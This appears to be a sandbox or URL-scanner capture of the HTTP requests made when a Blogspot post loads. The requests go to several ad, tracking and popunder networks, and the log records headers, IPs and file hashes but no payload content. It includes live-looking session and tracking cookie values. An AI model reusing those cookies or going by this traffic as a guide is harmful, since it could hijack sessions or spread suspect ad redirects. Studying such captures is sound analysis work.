                                            GET /bnr_safe.php?section=NWLT_1109_84936&pub=856169&format=160x600&ga=g HTTP/1.1 
Host: ylx-2.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         185.66.200.161
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:56 GMT
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Expires: Sun, 01 Jan 1900 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Robots-Tag: noindex,nofollow
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   292
Md5:    a1063cca43b327b15408aa7f69bdf091
Sha1:   05daf517e19f8b2034da8b7a11862cc11488e6a1
Sha256: fc7f2a56b9f3b62d4cc4bbbcf27d5ccc7af6bf9bf4eeea74dda4e7032405cf05
                                        
                                            GET /5/c=10546/pe=y?http%3A%2F%2Fmt.rtmark.net%2Fltm.gif%3Fid%3Dpu_eyJ1IjoiNGRhYmI3NWYyNGYyN2Y3YjAxNTBkNDRjMWNiNGJhZGYiLCJnIjoiTk8iLCJzIjoicHAiLCJ0IjoiMjAxNy0xMC0xM1QwOToxMzo1NS4xMzcxMzA0OTItMDU6MDAifQ==%26sg%3D%24%7Baud_ids%7D HTTP/1.1 
Host: ad.crwdcntrl.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://mt.rtmark.net/pp?geo=NO&zoneid=708000&oaid=4dabb75f24f27f7b0150d44c1cb4badf&ftz=0&aid=0&nls=0&ltm=1&frl=0&rtg=1

                                         
                                         52.210.254.241
HTTP/1.1 302 Found
                                        
Cache-Control: no-cache
Date: Fri, 13 Oct 2017 14:13:56 GMT
Expires: 0
Location: http://mt.rtmark.net/ltm.gif?id=pu_eyJ1IjoiNGRhYmI3NWYyNGYyN2Y3YjAxNTBkNDRjMWNiNGJhZGYiLCJnIjoiTk8iLCJzIjoicHAiLCJ0IjoiMjAxNy0xMC0xM1QwOToxMzo1NS4xMzcxMzA0OTItMDU6MDAifQ==&sg=
P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV
Pragma: no-cache
X-Server: 172.25.11.113
Content-Length: 0
Connection: keep-alive


--- Additional Info ---
                                        
                                            GET /followers.g?blogID=6930885793886820903&colors=Cgt0cmFuc3BhcmVudBILdHJhbnNwYXJlbnQaByM2NjY2NjYiByM1NTg4YWEqByNmZmZmZmYyByNjYzY2MDA6ByM2NjY2NjZCByM1NTg4YWFKByM5OTk5OTlSByM1NTg4YWFaC3RyYW5zcGFyZW50&pageSize=21&postID=8384554864994590423&origin=http%3A%2F%2Fboswekol.blogspot.no%2F&usegapi=1&jsh=m%3B%2F_%2Fscs%2Fapps-static%2F_%2Fjs%2Fk%3Doz.gapi.no.m2rCJFJyJGQ.O%2Fm%3D__features__%2Fam%3DAQ%2Frt%3Dj%2Fd%3D1%2Frs%3DAGLTcCMZGXZwD7bR521s-ul1oChzQaGabg&bpli=1 HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html
Cookie: S=blogger=NFMEZq1HZXo6hotSlMPddyq8RhbvaDT7

                                         
                                         216.58.211.137
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
P3P: CP="This is not a P3P policy! See https://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Fri, 13 Oct 2017 14:13:56 GMT
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   1901
Md5:    16c4a02aee86d9b36ee46f34d0999839
Sha1:   81ed45922900810f104f0c3a21930491fb474e6c
Sha256: eebc9468fe37f9ef4d8d28dc4c80c6ba9ea3388bf1e0b862795bfc68850e90f6
                                        
                                            GET /ltm.gif?id=pu_eyJ1IjoiNGRhYmI3NWYyNGYyN2Y3YjAxNTBkNDRjMWNiNGJhZGYiLCJnIjoiTk8iLCJzIjoicHAiLCJ0IjoiMjAxNy0xMC0xM1QwOToxMzo1NS4xMzcxMzA0OTItMDU6MDAifQ==&sg= HTTP/1.1 
Host: mt.rtmark.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://mt.rtmark.net/pp?geo=NO&zoneid=708000&oaid=4dabb75f24f27f7b0150d44c1cb4badf&ftz=0&aid=0&nls=0&ltm=1&frl=0&rtg=1

                                         
                                         185.49.145.177
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:56 GMT
Content-Length: 43
Connection: keep-alive
Access-Control-Allow-Origin: *


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   43
Md5:    b4491705564909da7f9eaf749dbbfbb1
Sha1:   279315d507855c6a4351e1e2c2f39dd9cd2fccd8
Sha256: 4e0705327480ad2323cb03d9c450ffcae4a98bf3a5382fa0c7882145ed620e49
                                        
                                            GET /_/scs/apps-static/_/js/k=oz.gapi.no.m2rCJFJyJGQ.O/m=gapi_iframes,gapi_iframes_style_common/exm=plusone/rt=j/sv=1/d=1/ed=1/am=AQ/rs=AGLTcCMZGXZwD7bR521s-ul1oChzQaGabg/cb=gapi.loaded_1 HTTP/1.1 
Host: apis.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.blogger.com/followers.g?blogID=6930885793886820903&colors=Cgt0cmFuc3BhcmVudBILdHJhbnNwYXJlbnQaByM2NjY2NjYiByM1NTg4YWEqByNmZmZmZmYyByNjYzY2MDA6ByM2NjY2NjZCByM1NTg4YWFKByM5OTk5OTlSByM1NTg4YWFaC3RyYW5zcGFyZW50&pageSize=21&postID=8384554864994590423&origin=http%3A%2F%2Fboswekol.blogspot.no%2F&usegapi=1&jsh=m%3B%2F_%2Fscs%2Fapps-static%2F_%2Fjs%2Fk%3Doz.gapi.no.m2rCJFJyJGQ.O%2Fm%3D__features__%2Fam%3DAQ%2Frt%3Dj%2Fd%3D1%2Frs%3DAGLTcCMZGXZwD7bR521s-ul1oChzQaGabg&bpli=1
Cookie: NID=114=GNnmfgJpjH-NtdmGOQIAi5WQyfplk2Ml36ME4mXaFSuuhISOKgufe-XNawFP3PxKsNWoakbO7j0IvpX8AU99-8xUtNQ8YvhIiRCOLSx_Z9sHrPxK1AxfWoZ90Yu8pOaj

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 11948
Date: Thu, 12 Oct 2017 20:13:59 GMT
Expires: Fri, 12 Oct 2018 20:13:59 GMT
Last-Modified: Thu, 12 Oct 2017 01:56:10 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, immutable, max-age=31536000
Age: 64797
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   11948
Md5:    5ca1cd29340f8544674d24f43a2ff1af
Sha1:   04ee51e42082e6dc6a57f1dfb956c146558bacd3
Sha256: 71968e4e038b647337419d10331b220ea02963d4d785f1cf870e2c49293187c8
                                        
                                            GET /bnr_xload.php?section=NWLT_1109_84936&pub=856169&format=160x600&ga=g&xt=150790403690280&safe=1&xtt=8565166 HTTP/1.1 
Host: ylx-2.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         185.66.200.161
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:56 GMT
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Expires: Sun, 01 Jan 1900 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Robots-Tag: noindex,nofollow
Set-Cookie: used_ad1797309=1; expires=Sat, 14-Oct-2017 04:00:00 GMT; Max-Age=49564; path=/ total_impressions=1; expires=Sat, 14-Oct-2017 04:00:00 GMT; Max-Age=49564; path=/ cpa_673873=160x600_619269635_0; expires=Sun, 12-Nov-2017 14:13:56 GMT; Max-Age=2592000; path=/
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   769
Md5:    3acbc9602d16be8a0662281263bbc7af
Sha1:   22a2e388746d4e9b632029a7595f48eb9069c5f3
Sha256: 640730883f2c964e7b41504e26c0764387634024a21038339a9fbc1ddea6bc91
                                        
                                            GET /friendconnect/scs/images/NoPictureDark.png HTTP/1.1 
Host: www.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.blogger.com/followers.g?blogID=6930885793886820903&colors=Cgt0cmFuc3BhcmVudBILdHJhbnNwYXJlbnQaByM2NjY2NjYiByM1NTg4YWEqByNmZmZmZmYyByNjYzY2MDA6ByM2NjY2NjZCByM1NTg4YWFKByM5OTk5OTlSByM1NTg4YWFaC3RyYW5zcGFyZW50&pageSize=21&postID=8384554864994590423&origin=http%3A%2F%2Fboswekol.blogspot.no%2F&usegapi=1&jsh=m%3B%2F_%2Fscs%2Fapps-static%2F_%2Fjs%2Fk%3Doz.gapi.no.m2rCJFJyJGQ.O%2Fm%3D__features__%2Fam%3DAQ%2Frt%3Dj%2Fd%3D1%2Frs%3DAGLTcCMZGXZwD7bR521s-ul1oChzQaGabg&bpli=1
Cookie: NID=114=GNnmfgJpjH-NtdmGOQIAi5WQyfplk2Ml36ME4mXaFSuuhISOKgufe-XNawFP3PxKsNWoakbO7j0IvpX8AU99-8xUtNQ8YvhIiRCOLSx_Z9sHrPxK1AxfWoZ90Yu8pOaj

                                         
                                         172.217.22.164
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Expires: Fri, 13 Oct 2017 13:25:27 GMT
Last-Modified: Tue, 20 Jun 2017 02:15:14 GMT
Content-Length: 2393
Date: Fri, 13 Oct 2017 13:25:27 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Age: 2909
Cache-Control: public,max-age=86400
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  PNG image, 45 x 45, 8-bit/color RGB, non-interlaced
Size:   2393
Md5:    34e595e04c3d5d6432467ad3adeda00c
Sha1:   13892c07f37ad1412a6bf4f8882e6abda3ecf8f5
Sha256: bb9edcb764776694061a58275d9ddc53f2374f523f4705d6cdd2d62a684d424b
                                        
                                            GET /-_nPeEmis8IA/AAAAAAAAAAI/AAAAAAAAAKw/8ndJNACHYi4/s45-c/photo.jpg HTTP/1.1 
Host: lh4.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.blogger.com/followers.g?blogID=6930885793886820903&colors=Cgt0cmFuc3BhcmVudBILdHJhbnNwYXJlbnQaByM2NjY2NjYiByM1NTg4YWEqByNmZmZmZmYyByNjYzY2MDA6ByM2NjY2NjZCByM1NTg4YWFKByM5OTk5OTlSByM1NTg4YWFaC3RyYW5zcGFyZW50&pageSize=21&postID=8384554864994590423&origin=http%3A%2F%2Fboswekol.blogspot.no%2F&usegapi=1&jsh=m%3B%2F_%2Fscs%2Fapps-static%2F_%2Fjs%2Fk%3Doz.gapi.no.m2rCJFJyJGQ.O%2Fm%3D__features__%2Fam%3DAQ%2Frt%3Dj%2Fd%3D1%2Frs%3DAGLTcCMZGXZwD7bR521s-ul1oChzQaGabg&bpli=1

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "vac"
Expires: Sat, 14 Oct 2017 13:44:33 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 13:44:33 GMT
Server: fife
Content-Length: 1907
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 1763
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   1907
Md5:    6bf4ed9a25d5449617e211bc42a35a0d
Sha1:   34e80f7aafc898045e8f3fa0e61590d89c339748
Sha256: 6a5a23cc2f8d9f3db69385ff1f210fbcbc3fdc96d73587b9fd18bf595992ce43
                                        
                                            GET /show.php?u5451507904036=true&ad=673873&f=160x600&a=781385&s=NjI4ODE3ZjViOWU2M2M1OTkzNWEzMDVkYzMyMzg0ZjU=&u=856169&si=619269635&di=23799882&ci=16&h=5502ebf06fb0ffbb82fd2f2650ac2cf4&cc=NO&useAf=loaded_string_76171f3d5bb63c9dbdcfb475795d659c65a4e1797309_1507904036.5711_44223&ar=2888381080_aHR0cDovL2Jvc3dla29sLmJsb2dzcG90Lm5vLzIwMTQvMDUvYmxvZy1wb3N0XzIzLmh0bWw= HTTP/1.1 
Host: ylx-2.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://ylx-2.com/bnr_xload.php?section=NWLT_1109_84936&pub=856169&format=160x600&ga=g&xt=150790403690280&safe=1&xtt=8565166
Cookie: used_ad1797309=1; total_impressions=1; cpa_673873=160x600_619269635_0

                                         
                                         185.66.200.161
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:56 GMT
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Expires: Sun, 01 Jan 1900 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Robots-Tag: noindex,nofollow
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   1017
Md5:    dadf6c3b19bd1ef110fe19a6f00df2ba
Sha1:   2f4dce6cd3f5c8b41d6a0b0e7ca20ecdde610b9f
Sha256: 1e80c01db36e441b732b721eec2f48a29a4b177d342f4a2dca4ed2036bd918a1
                                        
                                            GET /-G6WdHir7PSw/AAAAAAAAAAI/AAAAAAAAGU4/lzT6gad6coQ/s45-c/photo.jpg HTTP/1.1 
Host: lh3.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.blogger.com/followers.g?blogID=6930885793886820903&colors=Cgt0cmFuc3BhcmVudBILdHJhbnNwYXJlbnQaByM2NjY2NjYiByM1NTg4YWEqByNmZmZmZmYyByNjYzY2MDA6ByM2NjY2NjZCByM1NTg4YWFKByM5OTk5OTlSByM1NTg4YWFaC3RyYW5zcGFyZW50&pageSize=21&postID=8384554864994590423&origin=http%3A%2F%2Fboswekol.blogspot.no%2F&usegapi=1&jsh=m%3B%2F_%2Fscs%2Fapps-static%2F_%2Fjs%2Fk%3Doz.gapi.no.m2rCJFJyJGQ.O%2Fm%3D__features__%2Fam%3DAQ%2Frt%3Dj%2Fd%3D1%2Frs%3DAGLTcCMZGXZwD7bR521s-ul1oChzQaGabg&bpli=1

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v194e"
Expires: Sat, 14 Oct 2017 14:13:56 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 14:13:56 GMT
Server: fife
Content-Length: 1836
X-XSS-Protection: 1; mode=block
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   1836
Md5:    59b1d8e9fa0e9281cf5f5a9630d85834
Sha1:   513246397bbd90a015070e241a807178b1255ded
Sha256: 5b7d1a33ed8f194c374ab93e3987bcf080ce6060233594603c9f3f3c79e4c83b
                                        
                                            GET /a/display.php?r=328230&sub1=84936 HTTP/1.1 
Host: www.adnetworkperformance.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html
Cookie: acnetwork=4d28817b59e0ca217fafe5d1d8

                                         
                                         130.211.186.109
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: openresty
Date: Fri, 13 Oct 2017 14:13:56 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Referrer-Policy: no-referrer
Link: <//www.adnetworkperformance.com>; rel=dns-prefetch,<//www.adnetworkperformance.com>; rel=preconnect
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   2148
Md5:    c8c57d8440172e72757d1b2646d4f375
Sha1:   af9eb9108f8178912a055a988fc30bd68ed2897f
Sha256: 14135263bc756aaba2d958b9189d66b57e40b98e5c20b70e081247c0849894f4
                                        
                                            GET /logo_n_small.png?1480628810 HTTP/1.1 
Host: ylx-a-img.advertica-cdn.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://ylx-2.com/show.php?u5451507904036=true&ad=673873&f=160x600&a=781385&s=NjI4ODE3ZjViOWU2M2M1OTkzNWEzMDVkYzMyMzg0ZjU=&u=856169&si=619269635&di=23799882&ci=16&h=5502ebf06fb0ffbb82fd2f2650ac2cf4&cc=NO&useAf=loaded_string_76171f3d5bb63c9dbdcfb475795d659c65a4e1797309_1507904036.5711_44223&ar=2888381080_aHR0cDovL2Jvc3dla29sLmJsb2dzcG90Lm5vLzIwMTQvMDUvYmxvZy1wb3N0XzIzLmh0bWw=

                                         
                                         185.101.140.1
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:56 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Thu, 01 Dec 2016 21:46:50 GMT
Etag: W/"58409a4a-631"
Expires: Sun, 12 Nov 2017 14:13:56 GMT
Cache-Control: max-age=2592000
Access-Control-Allow-Origin: *
X-Cache: HIT
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   1298
Md5:    961dcad940bcae720f8f0ead6409f9d2
Sha1:   7199f8b763df9aec9c55bad14795e2166e6b1501
Sha256: a50a9224daca3d84e35717d2c03bea4a7e9c811b2cc598078de2f9b787ed080a
                                        
                                            GET /87d1c6c507/4f9c843bb0/?placementName=ROTATOR&type=n&cv=XrdpCdrkZdkdiACGjrijACxCGGNpxNrZkNrZiCrCZijCCrkjCiCrCrG&adApiR=loaded_string_76171f3d5bb63c9dbdcfb475795d659c65a4e1797309_1507904036.5711_44223&refferer=2888381080_aHR0cDovL2Jvc3dla29sLmJsb2dzcG90Lm5vLzIwMTQvMDUvYmxvZy1wb3N0XzIzLmh0bWw=&width=160&height=600 HTTP/1.1 
Host: nurno.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://ylx-2.com/show.php?u5451507904036=true&ad=673873&f=160x600&a=781385&s=NjI4ODE3ZjViOWU2M2M1OTkzNWEzMDVkYzMyMzg0ZjU=&u=856169&si=619269635&di=23799882&ci=16&h=5502ebf06fb0ffbb82fd2f2650ac2cf4&cc=NO&useAf=loaded_string_76171f3d5bb63c9dbdcfb475795d659c65a4e1797309_1507904036.5711_44223&ar=2888381080_aHR0cDovL2Jvc3dla29sLmJsb2dzcG90Lm5vLzIwMTQvMDUvYmxvZy1wb3N0XzIzLmh0bWw=

                                         
                                         185.66.201.34
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:56 GMT
Transfer-Encoding: chunked
Connection: close
Expires: Sun, 01 Jan 2014 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Robots-Tag: noindex,nofollow
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   1225
Md5:    f9817f993d92cbcbb6b6c02ca45c9d95
Sha1:   fa0f6a9d32f866a63c3d9cc095f2bb4afddbf70a
Sha256: e42e1a46c074358f4cf9c386851435dab2247924c6d5811fe96ba52f3f699f0d
                                        
                                            GET /trkpx.php?h=5502ebf06fb0ffbb82fd2f2650ac2cf4 HTTP/1.1 
Host: ylx-2.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://ylx-2.com/show.php?u5451507904036=true&ad=673873&f=160x600&a=781385&s=NjI4ODE3ZjViOWU2M2M1OTkzNWEzMDVkYzMyMzg0ZjU=&u=856169&si=619269635&di=23799882&ci=16&h=5502ebf06fb0ffbb82fd2f2650ac2cf4&cc=NO&useAf=loaded_string_76171f3d5bb63c9dbdcfb475795d659c65a4e1797309_1507904036.5711_44223&ar=2888381080_aHR0cDovL2Jvc3dla29sLmJsb2dzcG90Lm5vLzIwMTQvMDUvYmxvZy1wb3N0XzIzLmh0bWw=
Cookie: used_ad1797309=1; total_impressions=1; cpa_673873=160x600_619269635_0

                                         
                                         185.66.200.161
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:56 GMT
Content-Length: 43
Connection: close
Pragma-directive: no-cache
Cache-directive: no-cache
Cache-Control: public, no-cache
Pragma: no-cache
Expires: 0


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   43
Md5:    325472601571f31e1bf00674c368d335
Sha1:   2daeaa8b5f19f0bc209d976c02bd6acb51b00b0a
Sha256: b1442e85b03bdcaf66dc58c7abb98745dd2687d86350be9a298a1d9382ac849b
                                        
                                            GET /aff/pub_le6kgi.png?1480419362 HTTP/1.1 
Host: ylx-a-img.advertica-cdn.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://ylx-2.com/show.php?u5451507904036=true&ad=673873&f=160x600&a=781385&s=NjI4ODE3ZjViOWU2M2M1OTkzNWEzMDVkYzMyMzg0ZjU=&u=856169&si=619269635&di=23799882&ci=16&h=5502ebf06fb0ffbb82fd2f2650ac2cf4&cc=NO&useAf=loaded_string_76171f3d5bb63c9dbdcfb475795d659c65a4e1797309_1507904036.5711_44223&ar=2888381080_aHR0cDovL2Jvc3dla29sLmJsb2dzcG90Lm5vLzIwMTQvMDUvYmxvZy1wb3N0XzIzLmh0bWw=

                                         
                                         185.101.140.1
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:56 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Tue, 29 Nov 2016 11:36:02 GMT
Etag: W/"583d6822-8610"
Expires: Sun, 12 Nov 2017 14:13:56 GMT
Cache-Control: max-age=2592000
Access-Control-Allow-Origin: *
X-Cache: HIT
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   34089
Md5:    5433b77eba47b4b693d756a4fe8f90c9
Sha1:   ee15ddd00f1dd053759ab5d23751da13a80ef9ae
Sha256: 567b58438224f4ee9edd2f84d4dbd585f0545b265dc52af31a33e95fdd2fd2ce
                                        
                                            GET /servepop.php?wid=61455&c=0 HTTP/1.1 
Host: shmoki.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         164.138.220.84
HTTP/1.1 301 Moved Permanently
Content-Type: text/html
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:56 GMT
Content-Length: 178
Connection: keep-alive
Location: http://www.shmoki.com/servepop.php?wid=61455&c=0


--- Additional Info ---
Magic:  HTML document text
Size:   178
Md5:    cd2e0e43980a00fb6a2742d3afd803b8
Sha1:   81ffbd1712afe8cdf138b570c0fc9934742c33c1
Sha256: bd9df047d51943acc4bc6cf55d88edb5b6785a53337ee2a0f74dd521aedde87d
                                        
